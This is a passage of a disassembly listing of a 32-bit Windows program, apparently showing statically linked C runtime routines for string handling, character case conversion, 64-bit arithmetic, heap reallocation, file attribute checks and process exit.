sub_411D00+4Dj dec ebx jnz short loc_411D7B pop ebx pop esi loc_411D83: ; CODE XREF: sub_411D00+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_411D89: ; CODE XREF: sub_411D00+A9j ; sub_411D00+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_411D40 loc_411D91: ; CODE XREF: sub_411D00+20j ; sub_411D00+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_411D89 test dl, dl jz short loc_411DDB test dh, dh jz short loc_411DD1 test edx, 0FF0000h jz short loc_411DC7 test edx, 0FF000000h jnz short loc_411D89 mov [edi], edx jmp short loc_411DDF ; --------------------------------------------------------------------------- loc_411DC7: ; CODE XREF: sub_411D00+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_411DDF ; --------------------------------------------------------------------------- loc_411DD1: ; CODE XREF: sub_411D00+B1j and edx, 0FFh mov [edi], edx jmp short loc_411DDF ; --------------------------------------------------------------------------- loc_411DDB: ; CODE XREF: sub_411D00+ADj xor edx, edx mov [edi], edx loc_411DDF: ; CODE XREF: sub_411D00+C5j ; sub_411D00+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_411DF1 loc_411DE7: ; CODE XREF: sub_411D00+79j xor eax, eax loc_411DE9: ; CODE XREF: sub_411D00+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_411DE9 loc_411DF1: ; CODE XREF: sub_411D00+E5j and ebx, 3 jnz short loc_411D7B loc_411DF6: ; CODE XREF: sub_411D00+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_411D00 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_411E7A mov edi, [esp+14h] test edi, edi jz short loc_411E1D cmp edi, 1 jz short loc_411E1D cmp edi, 2 jnz short loc_411E7A loc_411E1D: ; CODE XREF: seg000:00411E11j ; seg000:00411E16j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_411E34 push esi call sub_416A3C add [esp+14h], eax pop ecx xor edi, edi loc_411E34: ; CODE XREF: seg000:00411E25j push esi call sub_416419 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_411E49 and al, 0FCh mov [esi+0Ch], eax jmp short loc_411E5D ; --------------------------------------------------------------------------- loc_411E49: ; CODE XREF: seg000:00411E40j test al, 1 jz short loc_411E5D test al, 8 jz short loc_411E5D test ah, 4 jnz short loc_411E5D mov dword ptr [esi+18h], 200h loc_411E5D: ; CODE XREF: seg000:00411E47j ; seg000:00411E4Bj ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_4169A2 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E7A: ; CODE XREF: seg000:00411E09j ; seg000:00411E1Bj mov ds:dword_45F844, 16h or eax, 0FFFFFFFFh loc_411E87: ; CODE XREF: seg000:00411E78j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E90 proc near ; CODE XREF: seg000:00409B6Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_411EC1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_411EBF jz short loc_411EC1 dec ecx dec ecx loc_411EBF: ; CODE XREF: sub_411E90+29j not ecx loc_411EC1: ; CODE XREF: sub_411E90+9j ; sub_411E90+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_411E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411ED0 proc near ; CODE XREF: sub_404EB9+5Cp ; sub_404EB9+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_411F84 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_411EFA loc_411EEB: ; CODE XREF: sub_411ED0+28j mov al, [edi] inc edi test al, al jz short loc_411F2B test edi, 3 jnz short loc_411EEB loc_411EFA: ; CODE XREF: sub_411ED0+19j ; sub_411ED0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_411EFA mov eax, [edi-4] test al, al jz short loc_411F38 test ah, ah jz short loc_411F33 test eax, 0FF0000h jz short loc_411F2E test eax, 0FF000000h jnz short loc_411EFA loc_411F2B: ; CODE XREF: sub_411ED0+20j dec edi jmp short loc_411F3B ; --------------------------------------------------------------------------- loc_411F2E: ; CODE XREF: sub_411ED0+52j sub edi, 2 jmp short loc_411F3B ; --------------------------------------------------------------------------- loc_411F33: ; CODE XREF: sub_411ED0+4Bj sub edi, 3 jmp short loc_411F3B ; --------------------------------------------------------------------------- loc_411F38: ; CODE XREF: sub_411ED0+47j sub edi, 4 loc_411F3B: ; CODE XREF: sub_411ED0+5Cj ; sub_411ED0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_411F50 mov ebx, ecx shr ecx, 2 jnz short loc_411F9C jmp short loc_411F6C ; --------------------------------------------------------------------------- loc_411F50: ; CODE XREF: sub_411ED0+75j ; sub_411ED0+93j mov dl, [esi] inc esi test dl, dl jz short loc_411F8A mov [edi], dl inc edi dec ecx jz short loc_411F80 test esi, 3 jnz short loc_411F50 mov ebx, ecx shr ecx, 2 jnz short loc_411F9C loc_411F6C: ; CODE XREF: sub_411ED0+7Ej ; sub_411ED0+CAj mov ecx, ebx and ecx, 3 jz short loc_411F80 loc_411F73: ; CODE XREF: sub_411ED0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_411F82 dec ecx jnz short loc_411F73 loc_411F80: ; CODE XREF: sub_411ED0+8Bj ; sub_411ED0+A1j mov [edi], cl loc_411F82: ; CODE XREF: sub_411ED0+ABj pop ebx pop esi loc_411F84: ; CODE XREF: sub_411ED0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_411F8A: ; CODE XREF: sub_411ED0+85j ; sub_411ED0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_411F94: ; CODE XREF: sub_411ED0+E4j ; sub_411ED0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_411F6C loc_411F9C: ; CODE XREF: sub_411ED0+7Cj ; sub_411ED0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_411F94 test dl, dl jz short loc_411F8A test dh, dh jz short loc_411FE8 test edx, 0FF0000h jz short loc_411FD8 test edx, 0FF000000h jnz short loc_411F94 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_411FD8: ; CODE XREF: sub_411ED0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_411FE8: ; CODE XREF: sub_411ED0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_411ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412000 proc near ; CODE XREF: seg000:0040BBA0p ; seg000:0040BBBEp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_412021 xor eax, eax jmp short loc_412023 ; --------------------------------------------------------------------------- loc_412021: ; CODE XREF: sub_412000+1Bj mov eax, edi loc_412023: ; CODE XREF: sub_412000+1Fj cld pop edi leave retn sub_412000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412027 proc near ; CODE XREF: sub_406DE8+6p ; sub_406E06+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_45F8D0, 0 push ebx push esi push edi jnz short loc_412054 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4120ED cmp eax, 5Ah jg loc_4120ED add eax, 20h jmp loc_4120ED ; --------------------------------------------------------------------------- loc_412054: ; CODE XREF: sub_412027+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_412088 cmp ds:dword_42E39C, esi jle short loc_412076 push esi push ebx call sub_413446 pop ecx pop ecx jmp short loc_412080 ; --------------------------------------------------------------------------- loc_412076: ; CODE XREF: sub_412027+42j mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, esi loc_412080: ; CODE XREF: sub_412027+4Dj test eax, eax jnz short loc_412088 loc_412084: ; CODE XREF: sub_412027+ADj mov eax, ebx jmp short loc_4120ED ; --------------------------------------------------------------------------- loc_412088: ; CODE XREF: sub_412027+3Aj ; sub_412027+5Bj mov edx, ds:off_42E190 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4120AC and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4120B5 ; --------------------------------------------------------------------------- loc_4120AC: ; CODE XREF: sub_412027+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4120B5: ; CODE XREF: sub_412027+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_45F8D0 call loc_416B94 add esp, 20h test eax, eax jz short loc_412084 cmp eax, esi jnz short loc_4120E0 movzx eax, [ebp+var_4] jmp short loc_4120ED ; --------------------------------------------------------------------------- loc_4120E0: ; CODE XREF: sub_412027+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4120ED: ; CODE XREF: sub_412027+16j ; sub_412027+1Fj ... pop edi pop esi pop ebx leave retn sub_412027 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412100 proc near ; CODE XREF: sub_4078E6+3Dp ; sub_40867B+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_412121 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_412171 ; --------------------------------------------------------------------------- loc_412121: ; CODE XREF: sub_412100+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41212F: ; CODE XREF: sub_412100+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41212F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41215A cmp edx, [esp+4+arg_4] ja short loc_41215A jb short loc_412162 cmp eax, [esp+4+arg_0] jbe short loc_412162 loc_41215A: ; CODE XREF: sub_412100+4Aj ; sub_412100+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_412162: ; CODE XREF: sub_412100+52j ; sub_412100+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_412171: ; CODE XREF: sub_412100+1Fj pop ebx retn 10h sub_412100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412180 proc near ; CODE XREF: sub_4078E6+24p ; sub_40867B+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4121A2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4121E3 ; --------------------------------------------------------------------------- loc_4121A2: ; CODE XREF: sub_412180+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4121B0: ; CODE XREF: sub_412180+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4121B0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4121DE cmp edx, [esp+8+arg_4] ja short loc_4121DE jb short loc_4121DF cmp eax, [esp+8+arg_0] jbe short loc_4121DF loc_4121DE: ; CODE XREF: sub_412180+4Ej ; sub_412180+54j dec esi loc_4121DF: ; CODE XREF: sub_412180+56j ; sub_412180+5Cj xor edx, edx mov eax, esi loc_4121E3: ; CODE XREF: sub_412180+20j pop esi pop ebx retn 10h sub_412180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4121E8 proc near ; CODE XREF: sub_40799C+1E3p ; seg000:0040D857p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_410B60 cmp eax, 1 pop ecx jb short loc_412223 cmp byte ptr [ebx+1], 3Ah jnz short loc_412223 mov esi, [ebp+arg_4] test esi, esi jz short loc_41221F push 2 push ebx push esi call sub_4171C3 add esp, 0Ch and byte ptr [esi+2], 0 loc_41221F: ; CODE XREF: sub_4121E8+25j inc ebx inc ebx jmp short loc_41222D ; --------------------------------------------------------------------------- loc_412223: ; CODE XREF: sub_4121E8+18j ; sub_4121E8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41222D and byte ptr [eax], 0 loc_41222D: ; CODE XREF: sub_4121E8+39j ; sub_4121E8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_4122A5 loc_412240: ; CODE XREF: sub_4121E8+87j mov cl, [eax] movzx edx, cl test ds:byte_460D81[edx], 4 jz short loc_412251 inc eax jmp short loc_41226B ; --------------------------------------------------------------------------- loc_412251: ; CODE XREF: sub_4121E8+64j cmp cl, 2Fh jz short loc_412265 cmp cl, 5Ch jz short loc_412265 cmp cl, 2Eh jnz short loc_41226B mov [ebp+var_4], eax jmp short loc_41226B ; --------------------------------------------------------------------------- loc_412265: ; CODE XREF: sub_4121E8+6Cj ; sub_4121E8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41226B: ; CODE XREF: sub_4121E8+67j ; sub_4121E8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_412240 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_4122A5 cmp [ebp+arg_8], 0 jz short loc_4122A0 sub edi, ebx cmp edi, esi jb short loc_412289 mov edi, esi loc_412289: ; CODE XREF: sub_4121E8+9Dj push edi push ebx push [ebp+arg_8] call sub_4171C3 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4122A0: ; CODE XREF: sub_4121E8+97j mov ebx, [ebp+arg_4] jmp short loc_4122AF ; --------------------------------------------------------------------------- loc_4122A5: ; CODE XREF: sub_4121E8+56j ; sub_4121E8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4122AF and byte ptr [ecx], 0 loc_4122AF: ; CODE XREF: sub_4121E8+BBj ; sub_4121E8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_412302 cmp edi, ebx jb short loc_412302 cmp [ebp+arg_C], 0 jz short loc_4122DF sub edi, ebx cmp edi, esi jb short loc_4122C8 mov edi, esi loc_4122C8: ; CODE XREF: sub_4121E8+DCj push edi push ebx push [ebp+arg_C] call sub_4171C3 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4122DF: ; CODE XREF: sub_4121E8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41232A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4122EF mov esi, eax loc_4122EF: ; CODE XREF: sub_4121E8+103j push esi push [ebp+var_4] push edi call sub_4171C3 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41232A ; --------------------------------------------------------------------------- loc_412302: ; CODE XREF: sub_4121E8+CCj ; sub_4121E8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_412320 sub eax, ebx cmp eax, esi jnb short loc_412311 mov esi, eax loc_412311: ; CODE XREF: sub_4121E8+125j push esi push ebx push edi call sub_4171C3 add esp, 0Ch and byte ptr [esi+edi], 0 loc_412320: ; CODE XREF: sub_4121E8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41232A and byte ptr [eax], 0 loc_41232A: ; CODE XREF: sub_4121E8+FCj ; sub_4121E8+118j ... pop edi pop esi pop ebx leave retn sub_4121E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41232F proc near ; CODE XREF: sub_407E82+19p ; sub_40E321+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_412C3C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41236D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41237A ; --------------------------------------------------------------------------- loc_41236D: ; CODE XREF: sub_41232F+34j lea eax, [ebp+var_20] push eax push 0 call sub_412B27 pop ecx pop ecx loc_41237A: ; CODE XREF: sub_41232F+3Cj mov eax, esi pop esi leave retn sub_41232F endp ; =============== S U B R O U T I N E ======================================= sub_41237F proc near ; CODE XREF: seg000:0040810Ep ; sub_411613+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_41239A push [esp+10h+arg_4] call sub_410C0F pop ecx jmp loc_41249A ; --------------------------------------------------------------------------- loc_41239A: ; CODE XREF: sub_41237F+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_4123B0 push ebx call sub_410C83 pop ecx loc_4123A9: ; CODE XREF: sub_41237F+114j xor eax, eax jmp loc_41249A ; --------------------------------------------------------------------------- loc_4123B0: ; CODE XREF: sub_41237F+21j ; sub_41237F+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41247B push ebx call sub_413550 mov ebp, eax pop ecx test ebp, ebp jz loc_412458 cmp esi, ds:dword_42E3AC ja short loc_412418 push esi push ebx push ebp call sub_413D5B add esp, 0Ch test eax, eax jz short loc_4123E7 mov edi, ebx jmp short loc_412410 ; --------------------------------------------------------------------------- loc_4123E7: ; CODE XREF: sub_41237F+62j push esi call sub_4138A6 mov edi, eax pop ecx test edi, edi jz short loc_412418 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4123FE mov eax, esi loc_4123FE: ; CODE XREF: sub_41237F+7Bj push eax push ebx push edi call sub_4105F0 push ebx push ebp call sub_41357B add esp, 14h loc_412410: ; CODE XREF: sub_41237F+66j test edi, edi jnz loc_412498 loc_412418: ; CODE XREF: sub_41237F+53j ; sub_41237F+73j test esi, esi jnz short loc_41241F push 1 pop esi loc_41241F: ; CODE XREF: sub_41237F+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_460EA0 call ds:dword_41C134 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41247B mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_412444 mov eax, esi loc_412444: ; CODE XREF: sub_41237F+C1j push eax push ebx push edi call sub_4105F0 push ebx push ebp call sub_41357B add esp, 14h jmp short loc_412477 ; --------------------------------------------------------------------------- loc_412458: ; CODE XREF: sub_41237F+47j test esi, esi jnz short loc_41245F push 1 pop esi loc_41245F: ; CODE XREF: sub_41237F+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push ds:dword_460EA0 call ds:dword_41C148 ; RtlReAllocateHeap mov edi, eax loc_412477: ; CODE XREF: sub_41237F+D7j test edi, edi jnz short loc_412498 loc_41247B: ; CODE XREF: sub_41237F+36j ; sub_41237F+B9j cmp ds:dword_45F89C, 0 jz short loc_412498 push esi call sub_4134BB test eax, eax pop ecx jnz loc_4123B0 jmp loc_4123A9 ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_41237F+93j ; sub_41237F+FAj ... mov eax, edi loc_41249A: ; CODE XREF: sub_41237F+16j ; sub_41237F+2Cj pop edi pop esi pop ebp pop ebx retn sub_41237F endp ; =============== S U B R O U T I N E ======================================= sub_41249F proc near ; CODE XREF: sub_408661+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_41C07C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_4124BF call ds:dword_41C068 ; RtlGetLastWin32Error push eax call sub_41724D pop ecx loc_4124BB: ; CODE XREF: sub_41249F+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4124BF: ; CODE XREF: sub_41249F+Dj test al, 1 jz short loc_4124E0 test [esp+arg_4], 2 jz short loc_4124E0 mov ds:dword_45F844, 0Dh mov ds:dword_45F848, 5 jmp short loc_4124BB ; --------------------------------------------------------------------------- loc_4124E0: ; CODE XREF: sub_41249F+22j ; sub_41249F+29j xor eax, eax retn sub_41249F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4124F0 proc near ; CODE XREF: sub_40878B+5Fp ; sub_40878B+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_412511 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_412511: ; CODE XREF: sub_4124F0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41252D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41252D: ; CODE XREF: sub_4124F0+27j or eax, eax jnz short loc_412549 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41258A ; --------------------------------------------------------------------------- loc_412549: ; CODE XREF: sub_4124F0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_412557: ; CODE XREF: sub_4124F0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_412557 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_412585 cmp edx, [esp+0Ch+arg_4] ja short loc_412585 jb short loc_412586 cmp eax, [esp+0Ch+arg_0] jbe short loc_412586 loc_412585: ; CODE XREF: sub_4124F0+85j ; sub_4124F0+8Bj dec esi loc_412586: ; CODE XREF: sub_4124F0+8Dj ; sub_4124F0+93j xor edx, edx mov eax, esi loc_41258A: ; CODE XREF: sub_4124F0+57j dec edi jnz short loc_412594 neg edx neg eax sbb edx, 0 loc_412594: ; CODE XREF: sub_4124F0+9Bj pop ebx pop esi pop edi retn 10h sub_4124F0 endp ; --------------------------------------------------------------------------- db 0A1h ; ¡ db 5Ch ; \ db 0E1h ; á db 42h ; B db 0 db 85h ; … db 0C0h ; À db 74h ; t db 2 db 0FFh db 0D0h ; Ð db 68h ; h db 24h ; $ db 0E0h ; à db 41h ; A db 0 db 68h ; h db 10h db 0E0h ; à db 41h ; A db 0 db 0E8h ; è db 0CEh ; Î db 0 db 0 db 0 db 68h ; h db 0Ch db 0E0h ; à db 41h ; A db 0 db 68h ; h db 0 db 0E0h ; à db 41h ; A db 0 db 0E8h ; è db 0BFh ; ¿ db 0 db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 10h db 0C3h ; Ã ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_4125E9 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_4125D8 proc near ; CODE XREF: sub_412ADE+1Cp ; sub_4155EC+33F6p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_4125E9 add esp, 0Ch retn sub_4125D8 endp ; =============== S U B R O U T I N E ======================================= sub_4125E9 proc near ; CODE XREF: seg000:004125CFp ; sub_4125D8+8p arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp ds:dword_45F88C, edi jnz short near ptr loc_412605+1 push [esp+4+arg_0] call near ptr 3D0000h jno short near ptr loc_41264E+2 call near ptr 3D0000h loc_412605: ; CODE XREF: sub_4125E9+Aj rol dword ptr [ebx+0C247Ch], 1 push ebx mov ebx, [esp+8+arg_8] mov ds:dword_45F888, edi mov ds:byte_45F884, bl jnz short loc_41265A mov eax, ds:dword_460EB4 test eax, eax jz short loc_412649 mov ecx, ds:dword_460EB0 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_412648 loc_412635: ; CODE XREF: sub_4125E9+5Dj mov eax, [esi] test eax, eax jz short loc_41263D call eax loc_41263D: ; CODE XREF: sub_4125E9+50j sub esi, 4 cmp esi, ds:dword_460EB4 jnb short loc_412635 loc_412648: ; CODE XREF: sub_4125E9+4Aj pop esi loc_412649: ; CODE XREF: sub_4125E9+3Cj push offset dword_41E030 loc_41264E: ; CODE XREF: sub_4125E9+15j push offset dword_41E028 call sub_412682 pop ecx pop ecx loc_41265A: ; CODE XREF: sub_4125E9+33j push offset dword_41E03C push offset dword_41E034 call sub_412682 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_412680 push [esp+4+arg_0] mov ds:dword_45F88C, edi call ds:dword_41C0F8 ; ExitProcess loc_412680: ; CODE XREF: sub_4125E9+85j pop edi retn sub_4125E9 endp ; =============== S U B R O U T I N E ======================================= sub_412682 proc near ; CODE XREF: sub_4125E9+6Ap ; sub_4125E9+7Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_412687: ; CODE XREF: sub_412682+16j cmp esi, [esp+4+arg_4] jnb short loc_41269A mov eax, [esi] test eax, eax jz short loc_412695 call eax loc_412695: ; CODE XREF: sub_412682+Fj add esi, 4 jmp short loc_412687 ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_412682+9j pop esi retn sub_412682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41269C proc near ; CODE XREF: seg000:0040CEC6p ; seg000:0040CEF5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_4126B0 xor eax, eax jmp short loc_4126E6 ; --------------------------------------------------------------------------- loc_4126B0: ; CODE XREF: sub_41269C+Ej dec [ebp+arg_4] push esi jz short loc_4126E0 mov esi, [ebp+arg_8] loc_4126B9: ; CODE XREF: sub_41269C+42j dec dword ptr [esi+4] js short loc_4126C8 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_4126CF ; --------------------------------------------------------------------------- loc_4126C8: ; CODE XREF: sub_41269C+20j push esi call sub_4164EB pop ecx loc_4126CF: ; CODE XREF: sub_41269C+2Aj cmp eax, 0FFFFFFFFh jz short loc_4126EA mov [edi], al inc edi cmp al, 0Ah jz short loc_4126E0 dec [ebp+arg_4] jnz short loc_4126B9 loc_4126E0: ; CODE XREF: sub_41269C+18j ; sub_41269C+3Dj ... and byte ptr [edi], 0 loc_4126E3: ; CODE XREF: sub_41269C+55j mov eax, ebx pop esi loc_4126E6: ; CODE XREF: sub_41269C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4126EA: ; CODE XREF: sub_41269C+36j cmp edi, [ebp+arg_0] jnz short loc_4126E0 xor ebx, ebx jmp short loc_4126E3 sub_41269C endp ; =============== S U B R O U T I N E ======================================= sub_4126F3 proc near ; CODE XREF: seg000:0040B597p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 3D0000h enter 